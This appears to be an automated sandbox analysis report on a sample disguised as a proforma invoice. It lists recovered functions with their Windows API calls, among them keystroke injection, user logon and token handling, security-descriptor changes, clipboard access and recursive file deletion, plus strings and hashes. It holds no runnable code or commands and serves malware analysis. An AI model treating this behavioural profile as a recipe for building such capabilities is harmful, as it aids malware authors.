GetCursorPos.USER32(?), ref: 004B9B68
ScreenToClient.USER32(?,?), ref: 004B9B75
GetParent.USER32(?), ref: 004B9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 004B9BFA
SendMessageW.USER32 ref: 004B9C2B
ClientToScreen.USER32(?,?), ref: 004B9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 004B9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 004B9CDE
SendMessageW.USER32 ref: 004B9D01
ClientToScreen.USER32(?,?), ref: 004B9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 004B9D82

Part of subcall function 00439944: GetWindowLongW.USER32(?,000000EB), ref: 00439952

GetWindowLongW.USER32(?,000000F0), ref: 004B9E05

Strings

p#O, xrefs: 004B9990
@GUI_DRAGID, xrefs: 004B997D
F, xrefs: 004B9D07

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#O
API String ID: 3429851547-225106316
Opcode ID: 133e0c1ca6d1f507c6c9711e2b8eac7e488aeedd003d8c02270adcbaee8f8561
Instruction ID: 5684679088ade2d5b7450ad8e6af3d68f2ca10b73936ac102b10081efdaadf42
Opcode Fuzzy Hash: 133e0c1ca6d1f507c6c9711e2b8eac7e488aeedd003d8c02270adcbaee8f8561
Instruction Fuzzy Hash: E0428C70204251AFDB24CF24CC84EAABBE5FF49314F14462EF695872A1D775EC60CB69

Function 004B4873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 004B48F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 004B4908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 004B4927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 004B494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 004B495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 004B497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 004B49AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 004B49D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 004B4A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 004B4A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 004B4A7E
IsMenu.USER32(?), ref: 004B4A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004B4AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 004B4B20
GetWindowLongW.USER32(?,000000F0), ref: 004B4B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 004B4BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 004B4C82
wsprintfW.USER32 ref: 004B4CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004B4CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 004B4CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 004B4D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004B4D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 004B4D5A

Strings

%d/%02d/%02d, xrefs: 004B4CA8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 58dad9a2857f27f990559d7b083748a6e1e67eba04ec9dec686564bc5ee762ba
Instruction ID: eb27939e8bc6b04cfb0dd6557a4e0a17b062a0bc6119930195f8f16d0280390b
Opcode Fuzzy Hash: 58dad9a2857f27f990559d7b083748a6e1e67eba04ec9dec686564bc5ee762ba
Instruction Fuzzy Hash: 5C12C271500214ABEB258F25CC89FEF7BB8EF89714F10422AF515DB292DB789941CB68

Function 0043F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 0043F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0047F474
IsIconic.USER32(00000000), ref: 0047F47D
ShowWindow.USER32(00000000,00000009), ref: 0047F48A
SetForegroundWindow.USER32(00000000), ref: 0047F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0047F4AA
GetCurrentThreadId.KERNEL32 ref: 0047F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0047F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0047F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0047F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0047F4DE
SetForegroundWindow.USER32(00000000), ref: 0047F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0047F4F6
keybd_event.USER32(00000012,00000000), ref: 0047F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0047F50B
keybd_event.USER32(00000012,00000000), ref: 0047F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0047F519
keybd_event.USER32(00000012,00000000), ref: 0047F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0047F528
keybd_event.USER32(00000012,00000000), ref: 0047F52D
SetForegroundWindow.USER32(00000000), ref: 0047F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0047F557

Strings

Shell_TrayWnd, xrefs: 0047F46F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 50c8deb3083ce9ac5e5db42ec381570f19a66cbd8d7f8892a3610311932af92e
Instruction ID: 1b935c8058fadde6814b059732ae9f1d70d7814d6da5d9ea6e865a7551a698ab
Opcode Fuzzy Hash: 50c8deb3083ce9ac5e5db42ec381570f19a66cbd8d7f8892a3610311932af92e
Instruction Fuzzy Hash: BC319671A40218BBEB206BB58C89FBF7E6CEB44B50F104536FA04E61D1C6B45D00AAA9

Function 00481201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 004816C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048170D
Part of subcall function 004816C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0048173A
Part of subcall function 004816C3: GetLastError.KERNEL32 ref: 0048174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00481286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 004812A8
CloseHandle.KERNEL32(?), ref: 004812B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004812D1
GetProcessWindowStation.USER32 ref: 004812EA
SetProcessWindowStation.USER32(00000000), ref: 004812F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00481310

Part of subcall function 004810BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004811FC), ref: 004810D4
Part of subcall function 004810BF: CloseHandle.KERNEL32(?,?,004811FC), ref: 004810E9

Strings

, xrefs: 0048125A
default, xrefs: 0048130B
winsta0, xrefs: 004812CC
ZN, xrefs: 00481392

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$ZN
API String ID: 22674027-1655601931
Opcode ID: 4a30867643036b9d095d5e92ff94e2e71a60c0d511ffbb4439abba05b433a72d
Instruction ID: cc5d3f3bf1168f78dfce126c34dd1cf3d7c8b279785acdaaad75382131e5d500
Opcode Fuzzy Hash: 4a30867643036b9d095d5e92ff94e2e71a60c0d511ffbb4439abba05b433a72d
Instruction Fuzzy Hash: E2818F71900209ABDF11AFA4DC89FEF7BBDEF04708F14452BF911A6260D7798946CB28

Function 00480B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004810F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00481114
Part of subcall function 004810F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481120
Part of subcall function 004810F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 0048112F
Part of subcall function 004810F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481136
Part of subcall function 004810F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0048114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00480BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00480C00
GetLengthSid.ADVAPI32(?), ref: 00480C17
GetAce.ADVAPI32(?,00000000,?), ref: 00480C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00480C6D
GetLengthSid.ADVAPI32(?), ref: 00480C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00480C8C
HeapAlloc.KERNEL32(00000000), ref: 00480C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00480CB4
CopySid.ADVAPI32(00000000), ref: 00480CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00480CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00480D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00480D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480D45
HeapFree.KERNEL32(00000000), ref: 00480D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480D55
HeapFree.KERNEL32(00000000), ref: 00480D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00480D65
HeapFree.KERNEL32(00000000), ref: 00480D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00480D78
HeapFree.KERNEL32(00000000), ref: 00480D7F

Part of subcall function 00481193: GetProcessHeap.KERNEL32(00000008,00480BB1,?,00000000,?,00480BB1,?), ref: 004811A1
Part of subcall function 00481193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00480BB1,?), ref: 004811A8
Part of subcall function 00481193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00480BB1,?), ref: 004811B7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c51dd3c9e42a706e41a79178a5e79fe22be4d74ffbea0930db608b3ee659370b
Instruction ID: 17203792f29b9d0ed98ed3ff7aabc133a70d2029bcdba146a705693d8eb5f033
Opcode Fuzzy Hash: c51dd3c9e42a706e41a79178a5e79fe22be4d74ffbea0930db608b3ee659370b
Instruction Fuzzy Hash: B7715071910209AFDF50EFE4DC84BAFBBB8BF05300F044A26E915A7251D779A905CB64

Function 0049EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(004BCC08), ref: 0049EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0049EB37
GetClipboardData.USER32(0000000D), ref: 0049EB43
CloseClipboard.USER32 ref: 0049EB4F
GlobalLock.KERNEL32(00000000), ref: 0049EB87
CloseClipboard.USER32 ref: 0049EB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 0049EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0049EBC9
GetClipboardData.USER32(00000001), ref: 0049EBD1
GlobalLock.KERNEL32(00000000), ref: 0049EBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 0049EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0049EC38
GetClipboardData.USER32(0000000F), ref: 0049EC44
GlobalLock.KERNEL32(00000000), ref: 0049EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0049EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0049EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0049ECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 0049ECF3
CountClipboardFormats.USER32 ref: 0049ED14
CloseClipboard.USER32 ref: 0049ED59

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 6a9c5e40f871083b8f5474f7148483924cc72381cb5ed305109d3670f95784c7
Instruction ID: a8de2efe3280d612b9f83a6c9e293b08183906fd32c9004caeb80c2510d1b96b
Opcode Fuzzy Hash: 6a9c5e40f871083b8f5474f7148483924cc72381cb5ed305109d3670f95784c7
Instruction Fuzzy Hash: F161E6342043029FD700EF26D8C5F2A7BA4EF84714F54466EF456972A1DB39ED06CB6A

Function 0049698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 004969BE
FindClose.KERNEL32(00000000), ref: 00496A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00496A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00496A75

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00496AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00496ADF

Strings

%03d, xrefs: 00496DA2
%4d, xrefs: 00496BB1
%02d, xrefs: 00496C00, 00496C0A, 00496C5A, 00496CAA, 00496CFA, 00496D4A
%4d%02d%02d%02d%02d%02d, xrefs: 00496B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00496B32

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 3299bc3eef9311e33521e22c34915563bd715664f33b4e49dcec50dc83ac10dd
Instruction ID: 40e7b0f9ff6ec5475fbcdbfb764c9154cb815c955eff8613e28bb804ee915b29
Opcode Fuzzy Hash: 3299bc3eef9311e33521e22c34915563bd715664f33b4e49dcec50dc83ac10dd
Instruction Fuzzy Hash: 83D16271608310AFC714EBA1D981EAFB7ECAF88704F44492EF585C7191EB38DA48C766

Function 00499642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00499663
GetFileAttributesW.KERNEL32(?), ref: 004996A1
SetFileAttributesW.KERNEL32(?,?), ref: 004996BB
FindNextFileW.KERNEL32(00000000,?), ref: 004996D3
FindClose.KERNEL32(00000000), ref: 004996DE
FindFirstFileW.KERNEL32(*.*,?), ref: 004996FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0049974A
SetCurrentDirectoryW.KERNEL32(004E6B7C), ref: 00499768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00499772
FindClose.KERNEL32(00000000), ref: 0049977F
FindClose.KERNEL32(00000000), ref: 0049978F

Strings

*.*, xrefs: 004996F5

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 91020a845b6386a24f66802a0afb757670e383783e6199ba6f7789983c18a6f6
Instruction ID: b1c4afe10fcafa69d35b39592302ed7fd822c07b7533a1fbe8685da73d1ab240
Opcode Fuzzy Hash: 91020a845b6386a24f66802a0afb757670e383783e6199ba6f7789983c18a6f6
Instruction Fuzzy Hash: D031A331500219ABDF14AFF9DC88ADE7BACAF49321F1441BBE805E2190DB78DD408A28

Function 0049979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 004997BE
FindNextFileW.KERNEL32(00000000,?), ref: 00499819
FindClose.KERNEL32(00000000), ref: 00499824
FindFirstFileW.KERNEL32(*.*,?), ref: 00499840
SetCurrentDirectoryW.KERNEL32(?), ref: 00499890
SetCurrentDirectoryW.KERNEL32(004E6B7C), ref: 004998AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 004998B8
FindClose.KERNEL32(00000000), ref: 004998C5
FindClose.KERNEL32(00000000), ref: 004998D5

Part of subcall function 0048DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0048DB00

Strings

*.*, xrefs: 0049983B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: ea8739e5e0f3626b651f2bb9d3afd97b7044a7a4e08d9669c8f2bc16a43307c6
Instruction ID: a4edd11cf82e143010ec7d6617d575cf44c061f0bcc1f6fa05e1b97ad2fe7f62
Opcode Fuzzy Hash: ea8739e5e0f3626b651f2bb9d3afd97b7044a7a4e08d9669c8f2bc16a43307c6
Instruction Fuzzy Hash: 8431A2315002196FDF14EFB9DC88ADE7BACAF06324F1441BFE810A2191DB78DD458A2C

Function 00498195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00498257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00498267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00498273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00498310
SetCurrentDirectoryW.KERNEL32(?), ref: 00498324
SetCurrentDirectoryW.KERNEL32(?), ref: 00498356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0049838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00498395

Strings

*.*, xrefs: 0049839B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 4686ff24c6fd11d740ad4c33aa91f1c2ad5d89b6cfb365d0a0c3029f9b453f45
Instruction ID: c97364b5c694d34390bf5d6bf9f5a48f92af30dbadbc2ef5486051a866b618d7
Opcode Fuzzy Hash: 4686ff24c6fd11d740ad4c33aa91f1c2ad5d89b6cfb365d0a0c3029f9b453f45
Instruction Fuzzy Hash: 38618C71504305AFCB10EF65D88099FB7E8FF89318F04492EF98987251DB39E945CB9A

Function 0048D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00423AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00423A97,?,?,00422E7F,?,?,?,00000000), ref: 00423AC2

Part of subcall function 0048E199: GetFileAttributesW.KERNEL32(?,0048CF95), ref: 0048E19A

FindFirstFileW.KERNEL32(?,?), ref: 0048D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0048D1DD
MoveFileW.KERNEL32(?,?), ref: 0048D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0048D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0048D237

Part of subcall function 0048D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0048D21C,?,?), ref: 0048D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0048D253
FindClose.KERNEL32(00000000), ref: 0048D264

Strings

\*.*, xrefs: 0048D0CD, 0048D0D6, 0048D0EB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 068abcedfc8f4409b4e908b553b55172434e48ca3968171206b94d53aa20f8cb
Instruction ID: 57862828d99d99ab9e9c30d63345c16e42242e7e60ffc7946ce0386d767e1a2f
Opcode Fuzzy Hash: 068abcedfc8f4409b4e908b553b55172434e48ca3968171206b94d53aa20f8cb
Instruction Fuzzy Hash: C661AF31D0211DABCF05FBE1E9929EEB775AF14304F6445AAE40277191EB386F09CB68

Function 0049ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0049ED91
EmptyClipboard.USER32 ref: 0049ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0049EDAC
CloseClipboard.USER32 ref: 0049EEA3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
